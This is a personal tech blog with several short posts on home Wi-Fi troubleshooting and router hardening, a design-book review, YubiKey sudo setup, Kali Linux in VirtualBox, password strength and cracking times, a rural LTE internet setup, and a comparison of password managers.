Now… There might be moments when your internet might be slow. So, what could be the reason? Well, like in life, it depends. But, in my mind there are some things what could interfere:

Your wifi is located too far and it has a lot of stuff interfeering (like walls. like i said previously- attenuation). Basically, you can fix this by getting another wifi in that room (for example, using powerline extenders (if you don’t care about speed and the room is in the same power phase.), using mesh networking , using stronger antenna, or, use wifi extender .
Your wifi might be on a filled channel, where a lot of devices are using the same frequencies. for example, this is a list of 2.4ghz channels

and there might be a problem, that a lot of people will be on 1,6 or 11 channel. Basically, you should then scan your local wifi network, see which channels are taken more, and use the least used one.

You might be using a channel, which overlaps with a different channel, somebody is using. for example- you’re using channel 3 (for some unknown reasons), and everybody else is using 1 or 6 channel. Basically, looking at the image i previously added, you can see that channels overlap a lot. this would mean your wifi would be degraded. Fastest way to fix it would be go back in the range which everybody uses and doesn’t overlap.
You might be using a wrong “port” or your device doesn’t allow to take in that much of speed. For example, some of the devices have “fast ethernet” port, which basically has 100mbit max speed, instead of Gigabit ethernet, which can do 1000mbits. How can you tell if you’re using the correct port? check the LEDs. This image might give you idea what to look. But mostly, if it’s amber, you’re using the correct port.

Well- configuration. You might added a lot of filtering stuff on it and that’s one of the reasons why it’s slow.

There are many more reeasons, but these are one of the main things what comes in my mind when your wifi is slow.

Also, remember that 2.4Ghz and 5Ghz wifis work in different ranges, so, basically- they won’t interfere each other.

So… We just talked about the physical things about the Wifis, now lets get more technical. Lets talk about configuring them.

How to configure your wifi router to make it more secure.

First off- FOR THE LOVE OF GOD, CHANGE YOUR DEFAULT ADMIN PASSWORD AUTOMATICALLY WHEN YOU GET THE DEVICE. No, really- i need to cap it and bold it, because even if you think that you’re not an interesting person and nobody will hack you… Then remember- people like me exist, who will do that for shit and giggles. and remember, that this exists. also, there are materials on the internet, to understand which IP is used for these devices.

Second, change your SSID for the device. Why? Basically, it reduces the risk that the hackers might find what kind of device you’re using. Currently, i have seen a lot of people that aren’t tech savy, that put the wifi name as default ones. Or even worse, put their flat/location number, name/surname as the SSID. it’s even worse to do that, because you can easly identify who uses this network. It would be better to use a wifi name that.

Third, check if you have enabled 2.4ghz and 5ghz, and it’s named differently, if you want to use both of them.

Fourth- check, if you got only WPA2, and remove that you can use. If your router doesn’t allow that, then, at least use WPA. and if doesn’t have that too- change your device because it’s not safe anymore. fun fact- Any device manufactured after 2006 with a \u201cWi-Fi\u201d logo must support WPA2 encryption. Also, use WPA2-PSK(AES), because it’s safer than TKIP. Also, use a password generator instead of some random password, which could be in rockyou word list.

Fifth- disable Wi-fi protected setup (WPS). Its so insecure, that you can hack this in mere minutes (look up pixie dust attack).

Sixt- if you really are a beginner- turn of remote control. You rarely gonna use that and it makes it safer that noone outside your wifi will be able to connect to your wifi device. Anyway, even if you’re an advanced user, you will rarely use it. Like, really rarely. I have never connected to my device remotly in last 10 years.

Seventh- if you can, create a virtual access point (AP). It’s because you wouldn’t want to give your private network access to some random people, who just come to your house once. If he got your password to your network, well… He will always have an access to your network.

Eight- well, this is more like an advice, but- when you’re out of house, turn off your wifi. Because everything is connected to the internet at your home, and, well, would suck if somebody would have access to everything, while you’re gone. Just food for thought.

Nine- just remembered. Change your IP range (i mean, 192.168.0.0/24 to something else, like 192.168.69.0/24) from default range, so that it would be hard to guess what your device is.

Ten- check your firmware version. if it’s possible, update it. There might be some security patches, that could make your device safer. Just in case, check it once a month.

Eleven- optional. If you can, add MAC filtering. This means you got a whitelist (basically a list which can use your network), and nobody else can connect to it. This is really when you want to make your network secure. Still- some dedicated hackers can spoof your device addresses, but still- it will be harder to do that, if you got a whitelist.

Recommendations when buying a wifi

Sooo… yeah. that’s the basics what i would love people to do, if they want to make their networks secure. My advice, when buying a wifi-

get a wifi, that supports 2.4 Ghz and 5Ghz
Search a wifi that isn’t frequently talked about its security flaws (Watching at you d-link/tp-link)
It allows to add virtual AP.
They got more than 1 anthenna on it (okay, this is more what i would love)
If you got IoT (Internet of things, like smart kettles, anything else what isn’t a phone or pc), it would be great that you would be able to create and manage virtual LANS (VLANs) it’s not a requirement, but would be a nice to have.

There are a lot of other things to talk about, but this post already is getting too long. So, for starters lets stay here.

Emotional Design- Why we love (or Hate) everyday things

2021-11-04T21:33:56Z

So, I just finished reading a book about emotional design- why we love (or hate) everyday things, so, here are my thoughts about this book, also some notes/quotes from them (what I took). Basically, this is a small concept of the book and wrote down what was noteworthy.

Personally, before reading the book, I was really skeptical about this- that design actually means something that much. Much more like a functional person, like me- who basically always wants more functionality than a design, but, after reading the book, some things came to mind that actually design is important, now that you really start to think about it. So- why?

There was a cool statement, that There were 2 kinds of ATM\u2019s in Japan- one with nice design, but bad functionality, while there was a really good ATM, with a lot of functionality… But with bad UX. They found out that even if you have the best functionality in the world, if it\u2019s not appealing, then yes- most people will say it\u2019s worse than a well-designed product. And yes, some people thought that it was because \u201cthis happened in Japan- Japanese need everything AESTHETIC\u201d, but no, somebody tested this in a different country (I think it was Iran or Iraq) and the same thing happened. So, basically- if you’re creating something- don\u2019t skip on aesthetics. You can make the shittiest idea in the world look good, and some people will think it works great. On a different place in the book, there was written, that \u201cPositive emotions are as important as negative ones- positive emotions are critical to learning, curiosity, and creative thought, and today research is turning toward this dimension.\u201d. So, basically- if you feel good, you learn better. No explanation is needed there (but okay, this is kind of understandable). Also, fun fact- if you want to help somebody with a hard task, and want to motivate them, give them a small gift, not too big, not too small (cookies, anyone?), but make them feel that you wanted to help them. Alice Isen found out that it helps you to work with hard tasks.

Also, there was a note that if people are anxious or tense, people tend to do things over and over again. Speaking of emotions- did you know that if you\u2019re given a task, and you\u2019re sad, you\u2019ll be the first that will see the small details, rather than the big details? And if you get too anxious, you\u2019ll probably enter a tunnel vision and won\u2019t see anything that happens around you. Because of this, imagine why there\u2019s a law that you need to put fire doors pushable, not pullable- because people in a burning house don\u2019t think about pulling anything, they are too focused on running away. Later on, in the book there were mentioned things like Emotions, moods, traits, personality- Emotions last for relatively short periods- minutes or hours. Moods are longer-lasting, measured perhaps in hours or days. Traits are very long-lasting, years or even a lifetime. And personality is the particular collection of traits of a person that last a lifetime.

So, now to the fun part. Donald Norman thinks that there are 3 types of processing and why we like/dislike things-

So… about these 3 Levels, which really create the user experience (UX)… (taken from here )

Some quotes from the book:

The design requirements for each level differ widely. The Visceral level is pre-consciousness, pre-thought. This is where appearance matters and first impressions are formed. Birds were selectively enhanced through the evolutionary process to be maximally attractive to female birds as in turn, were the preferences of female birds to discriminate better among male plumages. The human preference for faces and bodies that are symmetrical presumably reflects the selection of the fittest; non-symmetrical bodies probably are the result of some deficiency in the genes or the maturation process. Humans select for size, color, and appearance, and what you are biologically disposed to think of as attractive derives from these considerations. When we perceive something as “pretty,” that judgment comes directly from the visceral level. You can find the visceral design in advertising, folk art and crafts, and children’s items. Thus, children’s toys, clothes, and furniture will often reflect visceral principles: bright, highly saturated primary colors. Is this great art? No, but it is enjoyable. At this level, physical features \u201clook, feel and sound\u201d dominate.

The behavioral level is about use, about the experience with a product. The first step in good behavioral design is to understand just how people will use a product. Good behavioral design has to be a fundamental part of the design process from the very start; it cannot be adopted once the product has been completed. Why do so many designs fail? Mainly because designers and engineers are often self-centered. Engineers tend to focus upon technology, putting into a product whatever special features they themselves prefer. Many designers fail as well through their fondness for the sophisticated use of images, metaphors, and semantics that win prizes in design competitions but create products that are inaccessible to users. Web sites fail here as well, for the creators focus either upon the technical sophistication of images and sounds, or upon making sure that each division of a company receives the recognition that its political power dictates. None of these cases takes into account the concerns of the poor user, people like you and me, who use a product or website to satisfy some need. Reflective one is the most vulnerable to variability through culture, experience, education, and individual differences. This level can also override the others. Hence, one person’s liking for otherwise distasteful or frightening visceral experiences that might repel others, or another’s intellectual dismissal of designs others find attractive and appealing. Sophistication often brings with it a peculiar disdain for popular appeal, where the very aspects of a design that make it appeal to many people distress some intellectuals. Reflective design, therefore, is about long-term relations, about the feelings of satisfaction produced by owning, displaying, and using a product. Whether we wish to admit it or not, all of us worry about the image we present to others - or, for that matter, about the self-image that we present to ourselves. Do you sometimes avoid a purchase “because it wouldn’t be right” or buy something to support a cause you prefer? These are reflective decisions. Even people who claim a complete lack of interest in how they are perceived - dressing in whatever is easiest or most comfortable, refraining from purchasing new items until the ones they are using completely stop working - make statements about themselves and the things they care about. These are all properties of reflective processing.

Reflective-level operations often determine a person’s overall impression of a product. Here, you think back about the product, reflecting upon its total appeal and the experience of using it. Here is where many factors come into play and where the deficiencies of one aspect can be outweighed by the strengths of another. Minor difficulties might very well be overlooked in the overall assessment or enhanced, blown all out of proportion. Reflective design is really about long-term customer experience. To be fair, when you think about it, it\u2019s true. You look for a visually appealing thing, works as you need it, and it just satisfies you. In psychology, the study of the self has become a big industry, with books, societies, journals, and conferences. But “self” is a complex concept: It is culturally specific. Thus, Eastern and Western notions of self vary considerably, with the West placing more emphasis on the individual, the East on the group. Reading the book further I loved to read about the part about people using DIY kits and feeling accomplished. In the book, Don talked about two instances of this- when a Noob, who hasn\u2019t done anything, gets a remote control DIY kit and finishes it, he feels a big accomplishment, they will be really proud about their accomplishment, so I came to this statement \u201cThe DIY kits- the bigger the noob, the bigger the accomplishment feeling\u201d. Then there was the other part- of the experience is too simple, it also is too bad. The book told about the cake mix story, that people didn\u2019t feel accomplished, when they got a cake mix that only needs water to be finished basically. Yeah, it tasted good, but everybody could do that. If you, perhaps, make somebody add something more, like eggs, the accomplishment feeling increased, because not everybody could do that, kind of. The personality of the product should be the same as a person. If it’s formal, don’t shoot out some bullshit. IN THE world of products, a brand is an identifying mark, the symbol that represents a company and its products. Particular brands produce an emotional response that draws the consumer toward the product or away from it (Accenture, efumo). Emotional branding is based on that unique trust that is established with an audience. It elevates purchases based on a need to the realm of desire. The commitment to a product or an institution, the pride we feel upon receiving a wonderful gift of a brand we love, or having a positive shopping experience in an inspiring environment where someone knows our name or brings an unexpected gift of coffee. These feelings are at the core of emotional branding. Also, the brand mostly represents the quality. The book also talked about Blaming things, video games, a lot about robots, bystander effect, and safety. It was thought that Security is more like a social or human problem, than a technological one. Because yes- those who want to steal/corrupt/disrupt will always find a way to take advantage of human nature and bypass the security.

Reading this book I wanted to understand, what people think and how they think that something is a good product or isn\u2019t, and what can be used to, perhaps, make people fall for things and what I should look into, how to make things like these appealing to victims, if I ever used this in cybersecurity. For me, this book was a good/worth reading. It was easily readable and easy to understand, and if you read 20 pages a day you can finish it in less than 2 weeks.

Yubikey for "muh" sudo security

2021-10-10T19:45:33Z

Sometimes, you want to work with webauthn through your VirtualBox, OR, use yubikey 2FA/security inside virtualbox. Well, after some while, I just managed it, so buckle up kiddos, time for a post on how to set up these things inside a virtualbox and/or your main system, whatever floats your boat. Also, how to set up that Yubikey is required for your sudo.

First off, if you’re on Linux, add your user who runs the VirtualBox to it’s group (vboxsf)

sudo gpasswd -a ___YOUR_USER_HERE___ vboxsf

and restart your pc to that to take effect.

After that, go inside your VM settings > USB, press the \u201cAdd new USB filter\u201d, and select your yubikey there.

Congratz, you have done most of the work, if you just want to use the webauthn in VirtualBox. if you want to check if it actually works, check it inside https://demo.yubico.com/webauthn-technical/registration

if you see it blinking like this

congratz, it’s working

Okay, woohoo. What now? Idk, just use it. Or perhaps get the black yubikey and set it up that you can’t even run SUDO without the yubikey, and the PC auto-locks when the yubikey is removed.

Well, first off, you’ll need to install pam-u2f (some Linux distros call it libpam-u2f, check to be sure) and install it

after installing that, create .config/Yubico in your home directory, to keep your yubikey config. it will be used to save info about your keys

mkdir -p ~/.config/Yubico

now, use pamu2fcg to add a yubikey

pamu2fcfg > ~/.config/Yubico/u2f_keys

your yubikey will be flashing at this point, press it and you’ll be good to go. If you inspect the u2f_keys file, you’ll see that there is something written in the file.

AND NOW, LET US DO SOME COOL SHIT, LIKE USE THE YUBIKEY FOR SUDO.

first of, open /etc/pam.d/sudo with your text editor of choice also, fun fact- if you’re thinking where is your pam_u2f, it might be located in /usr/lib/security/

sudo vim /etc/pam.d/sudo

basically, add pam_u2f.so under the previous auth block

Also, if you’re asking \u201cwtf is system-auth\u201d, it’s a file in /etc/pam.d/, you can check it out for more details. Save n’ quit.

guess what- you’re set now. you can check it out. open a new terminal (don’t close your current terminal, if you dun goofed, at least you can fix your mistake), take out your yubikey and try to update something, or use Sudo. Spoiler alert- you’ll fail. If you put it back in, and press it, it will work.

well, you’re kind of set. but you can also set that you need your key also in when you log in, you’ll need to edit your lightdm e.c. to do that, you’ll just need to add it under basic auth include or auth required, and it should work just fine.

Additional info: if you want to see additional info, what you can do with pam_u2f, read it here https://developers.yubico.com/pam-u2f/Manuals/pam_u2f.8.html

BUT HERE’S A DOOZIE- WHAT 2 DO, IF YOU DON’T WANT TO PRESS IT AGAIN AND AGAIN WHEN YOU USE SUDO?

Easy. First off, remember the u2f_keys file? in there, for each key, there’s a line like this

user:base64_string,base64_other_string,es256,+presence

If you remove +presence (just leave the last comma), and in the pam.d/sudo file add the option userpresence=0 at the end of the pam_u2f.so, you’ll just do that.

if you are afraid to fuck up the u2f_keys file, just run pamu2fcfg > ~/.config/Yubico/u2f_keys -P (to be fair, there are a lot of other useful stuff, read the man pages for pamu2fcfg, it will help you out a lot)

Anyslut- it is what it is. use this information as you want and go nuts. Hope that this information helps.

Yubikey... Keys

2021-05-04T10:57:43Z

Sometimes, you want extra security, and, for example, you don\u2019t want to use a phone everywhere (Like, logging in to your google account) for 2-factor authentication (2FA). Then, what should you use? For me, the answer is Yubikey Also- Yubikey provides even more features you might not have thought about, like- getting a one-time password straight into your console, or, even more- you can make that your PC doesn’t allow any sudo commands while you haven’t added the yubikey. Basically- you can make that nobody can access your computer/account without this “access token”

So, what is it?

The industry\u2019s #1 security key, enabling strong two-factor, multi-factor, and passwordless authentication.

And there are 2 Types of the keys.

These keys are good all-rounders- it’s not just for only online account usage, but also for

OTP (Good example- AWS allows you to use 2FA in console, and yubikey allows you to generate TOTP in your console, so, in theory, you can automate something, that requires 2FA.),
Using it for open GPG (storing your GitHub account GPG Key, to sign your commits, or, signing in your servers via
PAM authentication. (Basically- if you don’t have it on your PC, you won’t even be able to turn the PC

It also has NFC functionality to use on your phone. (for example, you can put an app that contains your 2FA keys on it and when you scan your yubikey NFC, it would unlock it.

The only problem with it might be the cost- it costs from 45-55 EUR per key (plus VAT). So, it would set you back around 120 EUR, if you’re going to buy two (just in case if you lose one key and need a backup). But there are some discounts now and then, which can lower the purchase of 5series by 20% and you can get Security key 50% off.

Then, there is the second type of key- The security key. It’s mainly used for Logging into your online accounts. It doesn’t provide functionality like 2FA, PAM authentication, and so on, but it’s a lot cheaper- it costs only 25 EUR (plus VAT). Just like Yubikey 5 series, they also have NFC functionality, so you can use it for phones. You can authenticate, for example, to Reddit by it. Basically- get the blue one if you don’t need any other fancy things like TOTP/PAM/open GPG. But, if you want to use something else than USB A, you might have to look into Yubikey 5 series.

Also, in near future, Yubikey will be providing a key, that allows you to use your fingerprint to access something. So, this also is a thing to keep in mind. If you want to find out, if any of your used apps allow to use a yubikey, you can check it out here And yes, there also are some alternatives to this, like nitrokey and onlykey or even google titan, but far as I know, they aren’t used so much as yubikey. For me, the only thing I currently would love to see is a good way to implement yubikey, to use it in PSD2 cases- like when you want to approve a payment inside a bank, because currently because of some laws, only “safest” way to approve a transaction, is via SMS and a 6 symbol key. Yes, SMS. And they don’t approve of simple Google 2fa keys because you can’t provide a reason for the payment/sum e.c. in any of these apps.

Setting up Kali linux

2021-02-24T18:00:43Z

Kali Linux is a Debian-based Linux distribution aimed at advanced Penetration Testing and Security Auditing. It’s one of the most popular “hacking” Linux distributions for this kind of things (even blackarch and parrotOS). But how do you set it up? Do you install it on a separate hard drive, or do you virtualise it? Personally, if you don’t need a lot of actions with GPU (like hashcat for password hacking) and need to have a good check on network traffic, virtualisation in Virtualbox is faster than installing it on a separate hard drive. It is possible to use GPU within virtualisation, using PCIe passthrough, but that might take a lot of time setting up.

Setting up

Firsly, you need to download Kali linux from their website. It’s available in Virtualbox image or as an iso image. Also, download Virtualbox. After that, you must open virtualbox, and press “new”.

set your virtual machines name, type and machine folder.

After this step it will be asked for you to add a hard disk (and make it at least 50GB large. Because if you’ll ever be using password cracking, you might need a lot of space for password files). After that, you’ll create a virtual machine (VM). When you have created the VM, it would be advised to into the settings of the virtual machine, go to general advanced and set bidirectional clipboard and drag and drop. It will help later on to copy from your main computer things like passwords or commands.

Also, you should go under System > processor and give the Virtualbox more than 1 core. 2 cores would suffice.

After this setup, press okay and start the VM. You will be asked to select the installation iso and then it will start to install. The setup is straightforward (mostly you’ll need to press next next next), but it is advised to create a simple password or for you have easily known password, because when you’ll first turn on kali, you won’t be able to use your clipboard. Also, if you have an SSD, it would be advised to remove the SWAP. After that, you basically have installed and set up Kali Linux. When you first log in to the Kali Linux, you also should update it with sudo apt-get update and sudo apt-get upgrade to receive the newest patches. Also, download Virtualbox guest additions under devices > insert guest addition. This will allow you to use your clipboard for both computers..

After this, the last thing you should do is to add a shared folder for your Virtualbox. In VM settings, under Shared Folders press add folder icon, and select your wanted folder. Make it Auto-Mounted, if you want it to show up automatically when the device is turned on.

After this, in thunar you’ll be able to see your shared folder. And this is the basic Kali Linux VM setup. There are a lot of other things you could set up, but this is a good start. Also, if you want, you can create a VDI (virtual disk) copy, if you ever want to start working from this place.

Some things about passwords in 2021

2021-02-17T19:11:25Z

TL;DR

Don’t reuse passwords on multiple sites. Don’t even use part of your password on another website.
Hackers can break your password easily, in some seconds.
if a hacker knows part of your password or some symbols, it can be hacked in a really fast time.
Don’t save passwords in browsers, they are easily accessible to hackers.
A lot of websites don’t ask for longer passwords than 8 symbols.
Use a password manager
Using a password manager will create a single point of failure. (SPOF). That can be avoided by using Two-factor authentication.

So, many sites ask you to write these things:

Password must be at least 8 symbols long
It should contain a Large letter
It should contain a number
It should contain a symbol

But why? Why should you use a bigger password? I’ll give you some examples.

for example- how long will it take to crack a password Named… password?
… pretty fast. looking at the common password list, seems like a lot of people are using easy to guess passwords. How about… a random 8 letter password, like “ijnokmpl” (and if it’s hashed in SHA2-256 (an algorithm, which encrypts your password, so that nobody won’t see/understand it))?

Using Hashcat, it didn’t take too long. Using random characters took my 3080 (hash specs are here) 2 minutes and 10 seconds. Okay, lets update the password. lets add 1 to the password (“ijnokmpl1”). how long will that take? will we be more secure?

it would take approx. 11 hours to crack your password. That’s a lot better. Adding any new symbol. which isn’t the same type as previous characters is good. But… what if… We knew that user would put first 8 characters like letters, and then, as a “small social engineering trick”, would put in the next requirements in password list (for example, “you need one digit in your password”. This also is a big problem, when creating a password- most of the people look at the password requirements and treat them as a “todo” list, they will try to “check” each of the requirements from top to bottom until they all are done. And frequently, they are put at the end of the “original” password.)

Even if I would know some characters (like first 4), and if I don’t know the rest of them and know the length… it would take a hacker less than 20 seconds to guess your password

and, if a hacker didn’t know the length, and knew some symbols in password, it would still take him less than a minute to guess your password, if he ever got your encrypted password.

So, you might see a problem- If you create a password just like the website asks you (1 big letter, 1 number (in that order), your password might be compromised in some seconds. This is also a good reason, why you should not re-use password on multiple sites (for example, using password “ihatetrains” in one website, while using “ihatetrains2021” in other). If your password would get compromised, it would be a lot easier to guess your password on other sites, like Gmail/youtube and other accounts. Also, fun fact- from Troy hunts post it’s clearly visible, that most of the websites ask at least 8 symbols (or… even less), but, as seen before, it’s not enough. And then there is the position, that “passwords, getting longer, are harder to remember”. Well, that’s true. If you’re using about 20+ web services, which require passwords, it would be hard to remember all these passwords, if they would be 12+ characters long, alpha-numeric, and would have random symbols in them. or additional info, it also isn’t advised to save passwords in your browser/computer, because, if you haven’t password protected the access to your passwords (firefox example), an attacker could get access to your email and passwords pretty easily. Even worse, if he has remote access to your computer, he could download your browser passwords and decrypt them. Continuing previous “even worse” train, it’s hard to even know if even one of your passwords has been compromised already because some of the organisations don’t want to notify their users, that they were breached. If you want to know, if your email/password has ever been breached, please check Troy Hunt’s website- haveibeenpawned.com. This website might help you understand if one of your accounts might already be breached, and I would advise checking this website at least once a month. In my opinion, passwords also must be generated using a password manager. Also, there are a lot of them around now, like

Dashlane
NordPass
KeePass
1Password
LastPassword
Bitwarden

Personally, I would advise using a password manager, which saves your password “vault” (like KeePass) on your local computer, where nobody has access to this file, rather than in somebodies server. Because you’re using a password manager, this will mean that you’re going to increase the possibility to increase “Single point of failure” (SPOF)- If somebody has access to your password manager, he has access to all your accounts. It would be advisable to put Two factor authentication (like google two factor) on your password manager and web resource.

Also, I would advise generating truly random passwords, which are longer than the required character count on the website, because that would mean that a hacker doesn’t even know how long is your password, or even what characters will it have.

Using LTE as internet access in rural areas

2021-01-03T18:41:43Z

Have you ever been in the countryside and have seen something like this?
And do you want to change it to something like this?
Then this post might be for you. Recently, my dad asked if I couldn’t improve the internet speed to our house and make it possible to watch TV channels through internet because Viasat (local satellite TV, which costs approx 22 EUR to show some channels) is kind of expensive and is a pain in the ass to configure correctly yourself if you want to connect to Sirius (satellite connection, which is used mainly in Latvia). And, it was also problematic to have good internet at home. So, basically, some things needed to change. To be fair, you could connect to the internet and see most of the channels on the internet for a cheaper price. (Netflix, or TV3play for local channels) So, I made some improvements.
I bought
Cat5E outdoor Ethernet wire (305m)
2 Xiaomi mi aiot router ac2350 (the cheapest thing I saw for wireless. plus, 6 antennas really work great. at first, I thought that 1 device won’t go through 2 walls. in the end, it was good enough to go through 2 walls, with 2.4Ghz Wifi, and gave about 20 Mbps connection for device)
RJ45 connectors for outdoors (100 pieces, could do with normal ones, but, whatever)
LDF series Mikrotik
Router board CRS112-8P-4S-IN (it has Power over Ethernet (PoE), and it can help to power the LDF series gadget. plus, if needed, surveillance cameras) In total, in Latvia, it cost about 570 Euros to do this. Plus, a pre-paid SIM card (Zelta Zivti\u0146a, costs around 2.49 EUR) to have internet free for 1 week.
How to set up
first of all, you need to log in to your LDF series device and set APN. In my example, I needed to create an APN (Zelta zivti\u0146a access point)
And you needed to configure your pin (which is found on your pre-paid card), Bands, IP address, DHCP range e.c.
after that, you’re basically done with the LTE device. ( you need to connect to 3,7, 20, 40 bands, at least in Latvia) And… you really don’t need to set anything on the CRS (if you don’t need additional settings for IoT devices) The thing why I bought CRS is because of PoE ports. For this device, if you get the 57V power cord, you can power more or less all Ethernet surveillance cameras you want. (and add something like zoneMinder later). Plus The CRS now powers the LTE device, and I don’t need additional wire to power it. So… basically, you can spend 10 Eur a month ( you need to pay 2.49 per week for ZZ) for unlimited internet.
and have a pretty decent internet connection.
And you can watch Netflix at 4K with a decent speed and mostly no problems/stutter. (plus, of course, youtube e.c. with no problems)
and watch most of the local TV stations in Latvia for 4.99 Eur (TV3Play).
After all of this, you can…
Add VPN support that you can connect remotely (a built-in feature for Mikrotik)
add a surveillance system ( a bit expensive, buy a great feature)
add VLANs to separate IoT things from other things
For a bare-bone system, you would only need the Mikrotik LDF head, long enough Ethernet wire and you should be fine + a sim card for internet and satellite dish. (approx. less than 200 EUR). This will work well enough if you target your internet provider’s tower correctly.
References
https://www.youtube.com/watch?v=YDjn5bL_S78
https://www.youtube.com/watch?v=q_c-nWK18NM (best material how to set it up )
There are a lot of improvements to have, but this is nice to have/create. This project was pretty fun.

Password managers

2020-12-24T14:51:41Z

This post isn’t finished. Keep that in mind. Also, These are my ideas.
Time by time, you can see that a lot of websites have become compromised and the password hashes have been made public (or sold) by the hackers. But how can you be sure, that if one of your accounts might get compromised, that others won’t get hacked too?
One of the main things in cybersecurity (about passwords) is that you don’t:
Share your passwords
Reuse your passwords
Make them easily guessable
Sure… But why should you use a password manager?
Because humans make easily guessable passwords, or- they think of a password that you won’t remember. If you’re asking, what could be a “perfect password”, it should:
Be longer than 16 symbols
it should contain numbers, letters (capital and normal ones), symbols (!@#$%^&* e.c.)
Totally random (it shouldn’t have constant meaning, like having numbers in order (123456)
“For the love of everything that is holly for you, it shouldn’t be in this list
Okay, so why password managers?
Easily- they can do the hard work for you, like remembering passwords and generating them, which could be hard to guess.
Popular password managers
Bitwarden
One of the most popular password managers which could be seen on the internet. It allows to save its vault locally or on its cloud host. It has three plans:
Free plan - it will allow using its services for free (password generation, usage of its apps, cloud hosting), but premium functions, like Two-step login with Yubikey, U2F, Duo are left out.
Premium ($10/year) - will allow all the previous features, but also will give you Vault health reports, emergency access and priority support (also, those two-step login possibilities which I mentioned before). It also has 1Gb Personal encrypted file attachment possibility.
Families ($40/year) - everything from premium, but it can access 6 users.
Looking at bitwardens compliance/audits/certifications Seems that it takes security seriously- it has GDPR compliance, CCPA, HIPAA SOC 2 Type 2 (which is similar to ISO 27001), SOC 3 certification. Its code is also possible to see in its GitHub account It uses Microsoft Azure as its cloud service. Bitwarden uses AES-CBC 256-bit encryption for vault data and PBKDF2 SHA-256 to derive your encryption key. As their documentation says, the password is always hashed before sending it to their servers. For encryption, they are using Web Crypto, Forge, Node.js Crypto, (for browser extension, desktop and cli) , CommonCrypto (apple), Javax.Crypto and bouncyCastle It’s available on CLI, Android, Apple, Browsers, Linux, Windows (10), and Mac’s. Previously, there hasn’t been any security incidents public for Bitwarden. But there are some comments, which could be a problem in future, if it’s true. (take this with grain of salt)
Enpass
Less known password manager ( at least in Latvia), but similarly good.
There are 3 plans:
Individual Plan (1.79 EUR/mo) - for for personal use, with unlimited vaults/devices. And has alerts for website breaches
Family plan (2.69 EUR/mo) - for families (6 people): basically, everything what individual plan provides
One-time payment (71.19 EUR) provides basically what individual plan provides.
There is a whitepaper for enpass and also it has a security assessment. It’s available on linux, Windows, mac, Iphones and Android. Enpass is pretty new, so, this is a small warning. I wouldn’t trust it so much as other companies.
Dashlane
The most popular password manager that youtube adverises. soo… lets see… Basically:
U.S.-patented security architecture
Security dashboard
Policy management
Advanced reporting
Directory integration
Group sharing
Two-factor authentication (2FA)
… nothing much from a provider.. Still- for 5 EUR for standard an 8 EUR for business. It feels basic.
Nordpass
So… Nordpass. It doesn’t look that bad for an service, which was created in 2019. First off, some things it provides:
You can keep credit card information
You can make some notes in this aplication
Works on Windows, Linux, MacOS, Android and works basically on all browsers
It has free tier (which will allow you to use it only on 1 device (so if you’re using it on phone and PC, you’re kind of out of luck))
It has Premium tier for 1.99 EUR a month (which you can use for 6 connected devices, Secure item sharing, Data Breach Scanner
it uses XChaCha20 encryption. (rarely heard encryption, but seems it’s pretty ok)
provides 2FA (nothing talked about MFA like yubikey)
As far as I can see, it doesn’t allow to download or host your own password manager file locally.
Keepass
Keepass is the password manager I daily use, so take this information with a grain of salt. For me, the main features of it are that it’s for free, and the source code is available on github
Works on basically every OS (operating system) and works on Android/iOS.
Is free
Your database is saved locally and can be saved anywhere- AWS/google drive/email/whatever.
Encrypts passwords in AES-256.
To be fair, it’s easily usable, and is usable on every device… and the code is freely visible for everyone. Currently to sum it all up: use something between Bitwarden or keepass. Why? because- bitwarden allows you to save your files locally and allows your files to be synced in every place. Keepass is basically open source and everyone can say anything about it on github. You can save it anywhere and… yeah. If you have any questions, let me know.

Welcome to my blog!

2020-12-20T18:49:31Z

Sup people, welcome to my blog
Time to post some dank memes, and shitty internet security guides. Perhaps.